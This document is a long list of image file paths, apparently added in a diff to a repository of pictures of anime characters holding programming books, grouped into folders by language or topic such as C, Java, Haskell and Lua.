+images/anime-girls-with-programming-books/C%2B%2B/Imus_Kanzaki_Ranko_CPP_Primer_Plus.jpg +images/anime-girls-with-programming-books/C%2B%2B/Jahy_Sama_Cries_At_CPP.jpg +images/anime-girls-with-programming-books/C%2B%2B/Kagamihara_Nadeshiko_CPP.png +images/anime-girls-with-programming-books/C%2B%2B/Kaguya_Shinomiya_Exceptional_C%2B%2B.png +images/anime-girls-with-programming-books/C%2B%2B/Kei_Shirogane_crying_CPP.png +images/anime-girls-with-programming-books/C%2B%2B/Kitagawa_My_Dress_Up_Darling_cpp.jpg +images/anime-girls-with-programming-books/C%2B%2B/Kou_Yagami_Modern_Cpp.png +images/anime-girls-with-programming-books/C%2B%2B/Kurisu_Makise_CPP.png +images/anime-girls-with-programming-books/C%2B%2B/Lain-Holding-PPP.png +images/anime-girls-with-programming-books/C%2B%2B/Lavenza_Holds_Game_Programming_CPP_Portuguese.png +images/anime-girls-with-programming-books/C%2B%2B/Lumine_Game_Programming_In_C%2B%2B_Book.png +images/anime-girls-with-programming-books/C%2B%2B/Mai_Sakurajima_C%2B%2B_Programming_For_Beginners.png +images/anime-girls-with-programming-books/C%2B%2B/Makise_Kurisu_cpp.png +images/anime-girls-with-programming-books/C%2B%2B/Marin_Kitagawa_Holds_Modern_CPP_Portuguese.png +images/anime-girls-with-programming-books/C%2B%2B/Nanachi_Looking_At_Cover_PPP_CPP.png +images/anime-girls-with-programming-books/C%2B%2B/Nanami_Mami_Jumping_Into_C%2B%2B.png +images/anime-girls-with-programming-books/C%2B%2B/Nico_Robin_C%2B%2B.png +images/anime-girls-with-programming-books/C%2B%2B/Power_Holding_Sams_Teach_Yourself_C%2B%2B_in_One_Hour_a_Day_by_Siddhartha_Rao_Sams_Publishing_2022.jpg +images/anime-girls-with-programming-books/C%2B%2B/Ryo_Yamada_Principles_and_Practice_Using_C%2B%2B.png +images/anime-girls-with-programming-books/C%2B%2B/Sakura_Nene_CPP.jpg +images/anime-girls-with-programming-books/C%2B%2B/Sakura_Nene_CPP_Covered.jpg +images/anime-girls-with-programming-books/C%2B%2B/Sakura_Nene_CPP_Fullface.png +images/anime-girls-with-programming-books/C%2B%2B/Sakurajima_Mai_Holding_The_C%2B%2B_Programming_Language.jpg +images/anime-girls-with-programming-books/C%2B%2B/Shimoe_Koharu_CPP.jpg +images/anime-girls-with-programming-books/C%2B%2B/Shiro_Holding_Stroustrup_4th_Edition.png +images/anime-girls-with-programming-books/C%2B%2B/Sousou_no_Frieren_c%2B%2B.png +images/anime-girls-with-programming-books/C%2B%2B/Tateishi_Shima_CPP.jpg +images/anime-girls-with-programming-books/C%2B%2B/Tohru_Reading_CPP.png +images/anime-girls-with-programming-books/C%2B%2B/Uiharu_Kazari_Modern_CPP_Design%20.jpg +images/anime-girls-with-programming-books/C%2B%2B/Unknown_Girl_Holding_The_C%2B%2B_Programming_Language.png +images/anime-girls-with-programming-books/C%2B%2B/c%2B%2B_For_Dummies.png +images/anime-girls-with-programming-books/C%2B%2B/cirno_teaches_c%2B%2B.jpg +images/anime-girls-with-programming-books/C%2B%2B/gabriela_lotarynska_cpp.jpg +images/anime-girls-with-programming-books/C%2B%2B/zero_two_c%2B%2B_the_ultimate_crash_course_to_learning_c%2B%2B_from_basic_to_advanced_paul_laurence.jpg +images/anime-girls-with-programming-books/C/297974%20bribing%20scene.png +images/anime-girls-with-programming-books/C/Abiko_Samejima_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Aharen_Reina_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Ai_Hayasaka_Holding_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Ai_Hayasaka_Holding_The_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Ai_Hayasaka_Shinomiya_Kaguya_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Akiyama_Mio_Reading_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Arikawa_Hime_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Arikawa_Hime_Holding_C_Programming_Language_wp.jpg +images/anime-girls-with-programming-books/C/Arima_Kana_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Asuka_Backflip_With_C_Programming_Language.jpeg +images/anime-girls-with-programming-books/C/Aya_Komichi_Holding_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Beatrice_Holding_Graphics_Programming_In_C.png +images/anime-girls-with-programming-books/C/Cardcaptor_Sakura_Kinomoto_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Chitanda_Eru_Holding_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Eris_Grayrat_Holding_The_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Frieren_Reading_C_Book.png +images/anime-girls-with-programming-books/C/Fuko_Ibuki_Holding_Up_C.jpg +images/anime-girls-with-programming-books/C/Hakurei_Reimu_Holding_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Hatsune_Miku_Holding_The_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Hayasaka_Holding_The_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Hibiki_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/IM%40S_Minase_Iori_Holding_Chest_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Ikezawa_Hanako_Sitting_Reading_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Iwakura_Lain_holding_SICP.jpg +images/anime-girls-with-programming-books/C/Kagamihara_nadeshiko_Reading_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Kaoruko_Waguri_Holding_C_Programming_Language.jpeg +images/anime-girls-with-programming-books/C/Karen_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Karen_Kujo_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Kikuri_Hiroi_Modern_Compiler_Implementation_in_C.png +images/anime-girls-with-programming-books/C/Kitagawa_Marin_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Kochiya_Sanae_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Koizumi_Hanayo_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Komi_san_C.png +images/anime-girls-with-programming-books/C/Koume_Shirasaka_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Kunikida_Hanamaru_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Kuriyama_Mirai_flips_through_The_C_Programming_Language.gif +images/anime-girls-with-programming-books/C/Kuroneko_Holding_Fake_C_Book.png +images/anime-girls-with-programming-books/C/Lain_Iwakura_Holding_C_Book.jpg +images/anime-girls-with-programming-books/C/Lain_studying.png +images/anime-girls-with-programming-books/C/Mai_Sakurajima_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Mai_Sakurajima_Holding_ISO_IEC_9899_1999.png +images/anime-girls-with-programming-books/C/Maki_Oze_holding_introducao_a_programacao_com_a_linguagem_C.jpg +images/anime-girls-with-programming-books/C/Makise_Kurisu_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Megumin_Holding_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Meteora_%C3%96sterreich_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Mio_Akiyama_Holding_C_Book.gif +images/anime-girls-with-programming-books/C/Misa_Amane_C_Programming_Book.png +images/anime-girls-with-programming-books/C/Miss_Monochrome_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Miyamizu_Mitsuha_Reading_C_Programming.png +images/anime-girls-with-programming-books/C/Murakami_Shiina_Holding_Computer_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Murasaki_Shikibu_Holding_C_Programming_Language_Polish.jpg +images/anime-girls-with-programming-books/C/Mysterious_Heroine_X_Holding_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Nagato_Yuki_Backflip_With_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Nagato_Yuki_Reading_The_C_Programming_Language_In_The_Library.png +images/anime-girls-with-programming-books/C/Nagato_Yuki_Wakeboarding_Reading_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Renge_Reading_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Ryo_Yamada_Holding_C_Book.jpg +images/anime-girls-with-programming-books/C/Sakura_Nene_Holding_C_Programming_Language_Book.jpg +images/anime-girls-with-programming-books/C/Sakurajima_Mai_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Sakurauchi_Riko_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Seika_Ijichi_The_C_Programming_Language_2nd_Edition.png +images/anime-girls-with-programming-books/C/Shalltear_Overlord_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Shima_Rin_Motivated_With_C.png +images/anime-girls-with-programming-books/C/Shimoe_Koharu_Reading_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Shinomiya_Kaguya_Reading_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Shiomiya_Shiori_Holding_Shy_C_Programming_language_wp.png +images/anime-girls-with-programming-books/C/Shizuka_Yoshimoto_The_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Shizuku_Tsukishima_Holding_C_Book.jpg +images/anime-girls-with-programming-books/C/Smug_Asuka_Holding_The_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Suzuka_Nagami_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Suzuka_Nagami_Reading_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Tohru_Reading_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Tomoko_Kuroki_Holding_C_Programming_Language.jpg +images/anime-girls-with-programming-books/C/Tsukukakushi_Tsukiko_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Ui_Hirasawa_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Yamada_Nina_Holding_C_Programming_Language.png +images/anime-girls-with-programming-books/C/Yunyun_Holding_The_C_Programming_Language.png +images/anime-girls-with-programming-books/CMake/Runa_Yomozuki_Professional_CMake.png +images/anime-girls-with-programming-books/CSS/Sae_Chabashira_CSS_Definitive_Guide.png +images/anime-girls-with-programming-books/CSS/Sakurajima_Mai_Beginning_CSS.jpg +images/anime-girls-with-programming-books/CSS/Shima_Rin_Beginning_CSS.jpg +images/anime-girls-with-programming-books/Clojure/Misaka_Mikoto_Clojure_For_The_Brave_And_True.png +images/anime-girls-with-programming-books/Clojure/OC_Girl_Clojure_in_Action.png +images/anime-girls-with-programming-books/Cobol/Akira_Tachibana_Holding_Cobol_Book.png +images/anime-girls-with-programming-books/Cobol/Beatrice_Hugging_Murach%27s_Mainframe_Cobol.png +images/anime-girls-with-programming-books/Cobol/Frieren_Cobol_An_Introduction.png +images/anime-girls-with-programming-books/Cobol/Kanbaru_Reads_Mainframe_Cobol_Portuguese.png +images/anime-girls-with-programming-books/Cobol/Yagami_Kou_Presenting_Structured_COBOL.png +images/anime-girls-with-programming-books/CoffeeScript/Fenis_The_Little_Book_on_CoffeeScript.png +images/anime-girls-with-programming-books/Compilers/Ai_Miyashita_And_Rina_Tennoji_Holding_Principles_of_Compiler_Design.png +images/anime-girls-with-programming-books/Compilers/Komi_holding_Compilers.jpg +images/anime-girls-with-programming-books/Compilers/Makise_Kurisu_Holding_Designing_and_Developing_Compilers_Using_LLVM.png +images/anime-girls-with-programming-books/Compilers/Mila_%28Mita_1.0F%29_Holding_Compiler_Design_Book_Under_The_Table.png +images/anime-girls-with-programming-books/Compilers/Ninym_Ralei_Holds_Compilators_Portuguese.png +images/anime-girls-with-programming-books/Compilers/Suigintou_Smug_Dragon_book.png +images/anime-girls-with-programming-books/Compilers/Tohru_Kanna_Kobayashi_Excited_for_Dragon_book.png +images/anime-girls-with-programming-books/Compilers/Tohru_Kanna_Kobayashi_Reading_Dragon_book_%28Tohru_cover%29.png +images/anime-girls-with-programming-books/Compilers/Tohru_Reading_Principles_of_Compiler_Design.png +images/anime-girls-with-programming-books/Computer%20Graphics/Ryo_Yamada_Reading_Real-Time_Rendering.png +images/anime-girls-with-programming-books/Cuda/Yamada_Anna_Holding_Cuda_By_Example.png +images/anime-girls-with-programming-books/D/Kunikida_Hanamaru_holding_Programming_in_D.jpg +images/anime-girls-with-programming-books/Dart/Chisaki_Tapris_Flutter_Complete_Reference.png +images/anime-girls-with-programming-books/Dart/Fujiwara_Chika_Dart_Apprentice.png +images/anime-girls-with-programming-books/Dart/Miku_Nakano_The_Dart_Programming_Language.png +images/anime-girls-with-programming-books/Dart/Sae_Chabashira_Flutter_Complete_Reference.png +images/anime-girls-with-programming-books/Delphi/kukuru_little_book_of_delphi.png +images/anime-girls-with-programming-books/Design%20Patterns/Anna_Yanami_Holding_Design_Patterns_Elements_of_Reusable_Object_Oriented_Software.png +images/anime-girls-with-programming-books/Design%20Patterns/Holo_Designing_Data-Intensive_Applications.png +images/anime-girls-with-programming-books/Design%20Patterns/Menhera-chan_Agile_Design_Pattern.png +images/anime-girls-with-programming-books/Design%20Patterns/Menhera-chan_Head_First_Design_Patterns.png +images/anime-girls-with-programming-books/Design%20Patterns/Nagato_Yuki_Design_Patterns.png +images/anime-girls-with-programming-books/Design%20Patterns/Watashi_Design_Patterns.jpg +images/anime-girls-with-programming-books/Editors/Code_Geass_CC_Vi.png +images/anime-girls-with-programming-books/Editors/Kanna_Kamui_Recommends_Emacs.png +images/anime-girls-with-programming-books/Editors/Kobayashi_Holding_GNU_Emacs_Book.png +images/anime-girls-with-programming-books/Editors/Murakami_Shiina_Holding_Computer_Neofetch_Modern_Vim.png +images/anime-girls-with-programming-books/Editors/Takunomi_Nao-Kiriyama_Vi.png +images/anime-girls-with-programming-books/Elixir/Akira_Tachibana_Holding_Elixir_Book_Shy.png +images/anime-girls-with-programming-books/Elixir/Atsuko_Kagari_Holding_Introducing_Elixir.png +images/anime-girls-with-programming-books/Elixir/Frieren_holding_Elixir_in_Action.png +images/anime-girls-with-programming-books/Elixir/Makise_Kurisu_Holding_Programming_Elixir.png +images/anime-girls-with-programming-books/Elixir/Nazuna_Nanakusa_Holding_Elixir_Book.jpg +images/anime-girls-with-programming-books/Elixir/Rebecca_Holding_Programming_Elixir.png +images/anime-girls-with-programming-books/Elixir/Ruri_Gokou_Holding_Elixir_and_Elm_Tutorial.png +images/anime-girls-with-programming-books/Elixir/Sakurajima_Mai_holding_Elixir_in_Action.png +images/anime-girls-with-programming-books/Elm/Nagato_Yuki_Programming_Elm.png +images/anime-girls-with-programming-books/Elm/Ruri_Gokou_Holding_Elixir_and_Elm_Tutorial.png +images/anime-girls-with-programming-books/Erlang/Rebecca_Holding_Erlang_Programming.jpg +images/anime-girls-with-programming-books/F%23/Akko_Holding_Domain_Modeling_Made_Functional.png +images/anime-girls-with-programming-books/F%23/Fumami_Yui_Programming_FSharp_In_Japanese.png +images/anime-girls-with-programming-books/F%23/Makise_Kurisu_FSharp_For_Scientists.png +images/anime-girls-with-programming-books/FORTH/Random_Girl_From_Image_Search_Holding_Starting_FORTH.png +images/anime-girls-with-programming-books/Fortran/Fern_Beyond_Journey%27s_End_Holding_Fortran_Book.jpg +images/anime-girls-with-programming-books/Fortran/Hinata_Hyuga_Fortran_Book.jpg +images/anime-girls-with-programming-books/Fortran/Hinata_Modern_Fortran_Explained.png +images/anime-girls-with-programming-books/Fortran/Kurisu_Makise_Holding_Fortran_Book.jpg +images/anime-girls-with-programming-books/Fortran/Makise_Kurisu_Modern_Fortran_Explained.png +images/anime-girls-with-programming-books/GDScript/hibiki_gdscript.png +images/anime-girls-with-programming-books/Git/Gestella_from_eleceed_Aprendiendo_Git_Github.png +images/anime-girls-with-programming-books/Go/Alya_holding_Go_book.jpg +images/anime-girls-with-programming-books/Go/Chitanda_Eru_Holding_GO_Programming_Language.jpg +images/anime-girls-with-programming-books/Go/Frieren_Fern_Hands_On_Software_Engineering_With_Golang.png +images/anime-girls-with-programming-books/Go/Iwakura_Lain_Reading_Introducing_Go.png +images/anime-girls-with-programming-books/Go/Kokoa_Hoto_And_Chino_Kafuu_Reading_The_Go_Programming_Language.png +images/anime-girls-with-programming-books/Go/Komi_holding_Go_Programming_Language.jpg +images/anime-girls-with-programming-books/Go/Lain_Reading_The_Go_Programming_Language.png +images/anime-girls-with-programming-books/Go/Najimi_showing_GO_Programming_Language.jpg +images/anime-girls-with-programming-books/Go/Rain_Witch_Aesc_Holding_Learning_Go.png +images/anime-girls-with-programming-books/Go/Rei_Learning_Go.png +images/anime-girls-with-programming-books/Go/Rin_Shima_Level_Up_Your_Web_Apps_With_Go.png +images/anime-girls-with-programming-books/Go/Ryo_holding_Go_book.png +images/anime-girls-with-programming-books/Go/Sayu_Ogiwara_Holding_GO_Programming_Language.png +images/anime-girls-with-programming-books/Go/Yaoyorozu_Momo_Holding_Go_Programming_Language.png +images/anime-girls-with-programming-books/Godot/Kaguya_Shinomiya_Mastering_Godot.png +images/anime-girls-with-programming-books/Godot/Miss_Kobayashi_Godot.png +images/anime-girls-with-programming-books/Haskell/Alice_Magratroid_Haskell_The_Craft_of_Functional_Programming_Second_Edition.png +images/anime-girls-with-programming-books/Haskell/Eirin_Yagokoro_Haskell_The_Craft_of_Functional_Programming_Second_Edition.png +images/anime-girls-with-programming-books/Haskell/Emma_Verde_And_Rina_Tennoji_Holding_Real_World_Haskell.png +images/anime-girls-with-programming-books/Haskell/Fujiwara_No_Mokou_LYAHFGG.png +images/anime-girls-with-programming-books/Haskell/Hanamaru_Kunida_Holding_Haskell.jpg +images/anime-girls-with-programming-books/Haskell/Ju_Hyeon-mi_Numerous_Haskell_Books_Being_Annoyed_By_A_Pigeon.jpg +images/anime-girls-with-programming-books/Haskell/Kujou_Karen_Learns_Haskell.png +images/anime-girls-with-programming-books/Haskell/Learn_You_A_Haskell_Cutie_Honey.png +images/anime-girls-with-programming-books/Haskell/Learn_You_A_Haskell_For_Great_Good.png +images/anime-girls-with-programming-books/Haskell/Learn_You_A_Haskell_Mashiro_Shiina.png +images/anime-girls-with-programming-books/Haskell/Library_Girl_Holding_Haskell_Programming_From_First_Principles.png +images/anime-girls-with-programming-books/Haskell/Library_Girls_Learn_About_Haskell.png +images/anime-girls-with-programming-books/Haskell/Mei_Aihara_Haskell_In_Depth.png +images/anime-girls-with-programming-books/Haskell/Menhera-chan_LYAHFGG.png +images/anime-girls-with-programming-books/Haskell/Miyauchi_Renge_Holding_Haskell_Programming.png +images/anime-girls-with-programming-books/Haskell/Nakagawa_Nana_With_Procedural_Haskell.jpg +images/anime-girls-with-programming-books/Haskell/Nazuna_Nanakusa_Holding_Haskell_Book.jpg +images/anime-girls-with-programming-books/Haskell/Patchouli_Holding_Learn_You_a_Haskell.jpg +images/anime-girls-with-programming-books/Haskell/Patchouli_Knowledge_Haskell_The_Craft_of_Functional_Programming_Second_Edition.png +images/anime-girls-with-programming-books/Haskell/Ryo_Yamada_Holding_Haskell_Book.jpg +images/anime-girls-with-programming-books/Haskell/Shinomiya_Kaguya_Holding_Haskell_Programming.png +images/anime-girls-with-programming-books/Haskell/Tomoe_Mami_Real_World_Haskell.jpg +images/anime-girls-with-programming-books/Haskell/Tomoko_Kuroki_Holding_Real_World_Haskell.jpg +images/anime-girls-with-programming-books/HoTT/Beatrice_Holding_HoTT.png +images/anime-girls-with-programming-books/HoTT/Nagato_Yuki_Reads_HoTT.png +images/anime-girls-with-programming-books/HoTT/Nishikino_Maki_reads_HoTT.png +images/anime-girls-with-programming-books/HoTT/Shizuku_Osaka_Holding_HoTT.png +images/anime-girls-with-programming-books/HoTT/Yui_Hirasawa_reads_HoTT.png +images/anime-girls-with-programming-books/HolyC/Lain_Iwakura_Holding_HolyC_Book.png +images/anime-girls-with-programming-books/HolyC/Lisa_Minci_Holding_HolyC_book.png +images/anime-girls-with-programming-books/HolyC/Sakurajima_Mai_Holding_The_HolyC_Programming_Language.jpg +images/anime-girls-with-programming-books/HolyC/Sky_Feather_Holding_Holy_C.png +images/anime-girls-with-programming-books/Idris/Nagato_Yuki_Type_Driven_Development_In_Idris.png +images/anime-girls-with-programming-books/Java/Aharen_Reina_Java.png +images/anime-girls-with-programming-books/Java/Alice_Kuonji_Java_8.png +images/anime-girls-with-programming-books/Java/Chitanda_Eru_Core_Java.jpg +images/anime-girls-with-programming-books/Java/Code_Geass_CC_How_To_Program_In_Java.png +images/anime-girls-with-programming-books/Java/FGO_Artoria_Pendragon_Java_For_Dummies_7.png +images/anime-girls-with-programming-books/Java/Fate_Java_12_Programming.png +images/anime-girls-with-programming-books/Java/Frieren_Holding_Data_Structures_and_Algorithms_in_Java.png +images/anime-girls-with-programming-books/Java/Furukawa_Nagisa_Java_12.png +images/anime-girls-with-programming-books/Java/Hana_Java_Performance.png +images/anime-girls-with-programming-books/Java/Hayasaka_Holding_Android_Java.png +images/anime-girls-with-programming-books/Java/Henrietta_Laurent_Java_12.png +images/anime-girls-with-programming-books/Java/Henrietta_Laurent_de_Albert_Core_Java.jpg +images/anime-girls-with-programming-books/Java/Izumi_Konata_Java_The_Complete_Reference_Twelfth_Edition.png +images/anime-girls-with-programming-books/Java/Juri_Java_Threads.png +images/anime-girls-with-programming-books/Java/Juri_Java_Threads_2.png +images/anime-girls-with-programming-books/Java/Kanzaki_Ranko_Holds_How_To_Program_Java_Portuguese.png +images/anime-girls-with-programming-books/Java/Kubo_Nagisa_Holding_Java_Book.jpg +images/anime-girls-with-programming-books/Java/Kuriyama_Mirai_reading_OOP_and_Java.png +images/anime-girls-with-programming-books/Java/Kurumizawa_Satanichia_Effective_Java.png +images/anime-girls-with-programming-books/Java/Kurumizawa_Satanichia_Intro_To_Java_Programming.png +images/anime-girls-with-programming-books/Java/Kurumizawa_Satanichia_JavaFx_8_Intro_by_Example.png +images/anime-girls-with-programming-books/Java/Mikasa_Java_9_Modularity.jpg +images/anime-girls-with-programming-books/Java/Miku_Head_First_Java.png +images/anime-girls-with-programming-books/Java/Misato_Katsuragi_Head_First_Java.png +images/anime-girls-with-programming-books/Java/Murakami_Shiina_Core_Java.png +images/anime-girls-with-programming-books/Java/Natsukawa_Masuzu_Java_Programming.png +images/anime-girls-with-programming-books/Java/Patchouli_polish_Java_Efectywne_Programowanie.png +images/anime-girls-with-programming-books/Java/Rin_Tohsaka_Reads_Java_For_Web_Portuguese.png +images/anime-girls-with-programming-books/Java/Ryo_Yamada_Holding_Java_Book.jpg +images/anime-girls-with-programming-books/Java/Shirogane_Kei_Core_Java.jpg +images/anime-girls-with-programming-books/Java/Shouko_Komi_Holding_Java_Book.jpg +images/anime-girls-with-programming-books/Java/Steins%3BGate_Java_8.jpg +images/anime-girls-with-programming-books/Java/Stocking_Anarchy_Portuguese_Java_Book.png +images/anime-girls-with-programming-books/Java/Stocking_Anarchy_Portuguese_Java_Book_2.png +images/anime-girls-with-programming-books/Java/Uiharu_Kazari_Thinks_In_Java.jpg +images/anime-girls-with-programming-books/Java/Unnamed_Core_Java.jpg +images/anime-girls-with-programming-books/Java/Unnamed_Core_Java_2.jpg +images/anime-girls-with-programming-books/Java/Unnamed_Functional_Programming_In_Java.png +images/anime-girls-with-programming-books/Java/Unnamed_Java_How_to_Program_Early_Objects.png +images/anime-girls-with-programming-books/Java/Unnamed_Optimizing_Java.png +images/anime-girls-with-programming-books/Java/Yuuko_Aioi_Holding_Fundamentals_Of_Java_Programming.png +images/anime-girls-with-programming-books/Java/ryou_yamada_mastering_spring.png +images/anime-girls-with-programming-books/Javascript/Akko_Reading_Beginning_Javascript.jpg +images/anime-girls-with-programming-books/Javascript/Chisaki_Tapris_Holding_JavaScript_Scope_and_Closure.png +images/anime-girls-with-programming-books/Javascript/Chitanda_Eru_Holding_Programming_Books_With_Deno_Manual_On_The_Top.png +images/anime-girls-with-programming-books/Javascript/Chito_Holding_Deno_Book_Black_And_White.jpg +images/anime-girls-with-programming-books/Javascript/Doma_Umaru_Java_Script_The_Good_Parts.png +images/anime-girls-with-programming-books/Javascript/Felix_Argyle_Scared_By_JavaScript_The_Good_Parts.png +images/anime-girls-with-programming-books/Javascript/Functional_Programming_In_Javascript.png +images/anime-girls-with-programming-books/Javascript/Ikuno_Holding_Javascript_The_Definitive_Guide.png +images/anime-girls-with-programming-books/Javascript/Kanon_Shibuya_Holds_Javascript_And_Jquery_Portuguese.png +images/anime-girls-with-programming-books/Javascript/Korone_JavaScript_jQuery_Murachs_Fourth.png +images/anime-girls-with-programming-books/Javascript/Kozeki_Ui_Holds_JavaScript_Book_Portuguese.png +images/anime-girls-with-programming-books/Javascript/Mai_Sakurajima_Holding_Eloquent_Javascript.png +images/anime-girls-with-programming-books/Javascript/Maya_Yamato_Holding_Javascript_For_Absolute_Beginners.png +images/anime-girls-with-programming-books/Javascript/Monogatari_Shinobu_Speaking_Javascript.png +images/anime-girls-with-programming-books/Javascript/Nijika_Ijichi_holding_javascript_absolute_beginners_guide.png +images/anime-girls-with-programming-books/Javascript/Ninomae_Ina%27nis_Holding_Eloquent_Javascript.jpg +images/anime-girls-with-programming-books/Javascript/Ogino_Chihiro_Holding_Professional_Javascript_For_Web_Developers.png +images/anime-girls-with-programming-books/Javascript/Ram_Holding_JavaScript_The_Good_Parts.png +images/anime-girls-with-programming-books/Javascript/Rebeca_Cyberpunk_Edgerunners_Holding_Javascript_The_Definitive_Guide.jpg +images/anime-girls-with-programming-books/Javascript/Shamiko_Reading_Speaking_Javascript.png +images/anime-girls-with-programming-books/Javascript/Suzuran_Holding_Eloquent_Javascript.jpg +images/anime-girls-with-programming-books/Javascript/Tamaki_Mari_Holding_Eloquent_JavaScript.jpg +images/anime-girls-with-programming-books/Javascript/Tohsaka_Rin_Holding_JS_For_Dummies.png +images/anime-girls-with-programming-books/Javascript/Tosaka_Rin_Learning_JS.png +images/anime-girls-with-programming-books/Javascript/Yuno_Gasai_Reading_Eloquent_Javascript_Third_Edition.png +images/anime-girls-with-programming-books/Javascript/Zero_Two_Holding_Nodejs_8_the_Right_Way.png +images/anime-girls-with-programming-books/Javascript/robin_holds_eloquent_javascript.png +images/anime-girls-with-programming-books/Julia/Ninomae_Inanis_Learn_Julia_Programming_Quickly.png +images/anime-girls-with-programming-books/Julia/Rin_Mastering_Julia.png +images/anime-girls-with-programming-books/Kotlin/Aoi_Inuyama_Kotlin_In_Action.jpg +images/anime-girls-with-programming-books/Kotlin/Chitanda_Eru_Atomic_Kotlin.jpg +images/anime-girls-with-programming-books/Kotlin/Futaba_Igarashi_Holds_Kotlin_With_Android_Portuguese.png +images/anime-girls-with-programming-books/Kotlin/Henrietta_Laurent_de_Albert_Atomic_Kotlin.jpg +images/anime-girls-with-programming-books/Kotlin/Inuyama_Kuroe_Atomic_Kotlin.jpg +images/anime-girls-with-programming-books/Kotlin/Maya_Enjoys_Kotlin.png +images/anime-girls-with-programming-books/Kotlin/Misato_and_Shinji_Discovering_Kotlin.jpg +images/anime-girls-with-programming-books/Kotlin/Murakami_Shiina_Atomic_Kotlin.jpg +images/anime-girls-with-programming-books/Kotlin/Takanashi_Sei_Holding_Kotlin_In_Action.png +images/anime-girls-with-programming-books/Kotlin/Unnamed_Atomic_Kotlin.jpg +images/anime-girls-with-programming-books/Kotlin/Yuni_Shingyouji_Holding_Kotlin_Book.jpg +images/anime-girls-with-programming-books/Kotlin/kotlin_witch_c.png +images/anime-girls-with-programming-books/Kotlin/zero-two-offers-you-valuable-knowledge.jpg +images/anime-girls-with-programming-books/Kubernetes/Fuko_Ibuki_Holding_Kubernetes.png +images/anime-girls-with-programming-books/Linux/Calliope_Mori_Holds_How_Linux_Works.png +images/anime-girls-with-programming-books/Linux/Chihiro_Komiya_Reading_Linux_Kernel_Book.png +images/anime-girls-with-programming-books/Linux/Frieren_Beyond_Journey%27s_End_Holding_Bash_Scripting_Book.jpg +images/anime-girls-with-programming-books/Linux/Isana_Higashira_Holding_The_Linux_Command_Line.png +images/anime-girls-with-programming-books/Linux/Mayuri_Shiina_Holding_Bash_Scripting_Book.jpg +images/anime-girls-with-programming-books/Linux/Mayuri_Shiina_Holding_Linux_Kernel_Book.png +images/anime-girls-with-programming-books/Linux/Nagato_Yuki_Gentoo_Linux.png +images/anime-girls-with-programming-books/Linux/Ookami_Mio_Linux_Server.png +images/anime-girls-with-programming-books/Linux/Rin-Shelter_holding_linux_books.png +images/anime-girls-with-programming-books/Linux/Ryo_Yamada_Reading_ArchLinux_Book.jpg +images/anime-girls-with-programming-books/Linux/Sakura_Nene_LDD3.png +images/anime-girls-with-programming-books/Linux/Sakurajima_Mai_Linux_Essentials.jpg +images/anime-girls-with-programming-books/Linux/Twin_Tail_Glasses_With_Linux_Made_Simple.jpg +images/anime-girls-with-programming-books/Lisp/Fuyuno_Haruaki_holding_Let_%20Over_%20Lambda.png +images/anime-girls-with-programming-books/Lisp/Key_Common_Lisp_2nd_Edition.png +images/anime-girls-with-programming-books/Lisp/Original_by_om5han_On_Lisp_Advanced_Techniques_for_Common_Lisp.jpg +images/anime-girls-with-programming-books/Lisp/Sophie_Neuenmuller_Land_of_Lisp.png +images/anime-girls-with-programming-books/Lisp/Urara_Shiratori_holding_ANSI_Common_Lisp.png +images/anime-girls-with-programming-books/Lua/Beatrice_Holds_Programming_In_Lua_Portuguese.png +images/anime-girls-with-programming-books/Lua/Hina_Chono_Programming_In_Lua.png +images/anime-girls-with-programming-books/Lua/Idolmaster_Million_Live_Yuriko_Nanao_Holding_Programming_in_Lua_by_Roberto_Ierusalimschy.png +images/anime-girls-with-programming-books/Lua/Kagami_Hiiragi_Programming_In_Lua.png +images/anime-girls-with-programming-books/Lua/Konno_Yukki_Programming_In_Lua.png +images/anime-girls-with-programming-books/Lua/Nep_and_Blanc_PIL2.png +images/anime-girls-with-programming-books/Lua/Rin_Shima_Programming_In_Lua.png 